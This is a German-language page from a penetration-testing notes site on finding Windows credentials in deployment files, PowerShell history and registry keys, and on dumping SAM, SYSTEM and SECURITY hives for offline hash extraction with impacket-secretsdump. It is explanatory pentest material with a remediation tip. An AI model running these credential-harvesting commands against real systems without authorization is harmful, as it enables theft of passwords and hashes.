> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/windows-vulnerabilities/local-privilege-escalation-and-credentials/windows-credentials-in-files.md).

# Anmeldedaten in Windows-Dateien

Windows-Systeme können Anmeldedaten in Bereitstellungs-, Antwort- oder Konfigurationsdateien beibehalten. Diese Dateien sind besonders wertvoll, nachdem ein begrenzter lokaler Fuß in der Tür erlangt wurde.

## Zu prüfende Dateien

```
C:/Windows/Panther/unattend.xml
C:/Windows/Panther/Autounattend.xml
C:/Windows/System32/Sysprep/sysprep.inf
C:/Windows/System32/Sysprep/sysprep.xml
C:/inetpub/wwwroot/web.config
C:/Users/*/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt
```

Wenn ein Passwort im Klartext gespeichert ist, kann es wiederverwendbar sein. Wenn das `Klartext` Attribut `falschen`ist, behandle den Wert als codiert oder verschlüsselt und analysiere ihn separat.

<figure><img src="/files/76879b2f3e0076f7ca640432c609644054a9684a" alt="Windows deployment file containing credential material"><figcaption></figcaption></figure>

## Wichtige Punkte

* Überprüfe Windows-Bereitstellungsdateien frühzeitig während der lokalen Enumeration.
* Überprüfe, ob ein gefundenes Passwort im Klartext, codiert, verschlüsselt oder veraltet ist.
* Behebe das Problem, indem du Antwortdateien nach der Installation entfernst und dauerhafte Geheimnisse in Bereitstellungsartefakten vermeidest.

## Nützliche Suchen

Suche zuerst an vorhersehbaren Speicherorten und erweitere dann den Suchbereich, wenn der Host klein genug ist.

```cmd
dir /s /b C:\*unattend* C:\*sysprep* C:\*web.config* 2>nul
findstr /si /m "password passwd pwd username user= connectionString" C:\Users\*.txt C:\Users\*.ini C:\Users\*.config 2>nul
```

```powershell
Get-ChildItem C:\Users -Recurse -Force -Include *.txt,*.ini,*.config,*.xml,*.kdbx -ErrorAction SilentlyContinue |
  Select-String -Pattern 'password|passwd|pwd|connectionString|apikey|secret'
```

## Registry und gespeicherte Sitzungen

Registry-Prüfungen sind nützlich, wenn Anwendungen Profile, zuletzt verwendete Hosts oder alte Anmeldedaten speichern.

```cmd
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers" /s
reg query "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" /s
cmdkey /list
```

## Offline-Hash-Quellen

Wenn du Berechtigungen wie `SeBackupPrivilege` oder lokalen Administratorzugriff hast, exportiere Hives und analysiere sie offline, anstatt gesperrte Dateien direkt zu lesen.

```cmd
reg save HKLM\SAM C:\Temp\sam.save
reg save HKLM\SYSTEM C:\Temp\system.save
reg save HKLM\SECURITY C:\Temp\security.save
```

```bash
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
```

## Automatisierte Helfer

Verwende Tools, um zu finden, was manuelle Suchen übersehen, aber überprüfe die Ausgabe manuell, bevor du darauf reagierst.

```powershell
.\winPEASx64.exe quiet cmd fast
.\PrivescCheck.ps1
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/windows-vulnerabilities/local-privilege-escalation-and-credentials/windows-credentials-in-files.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
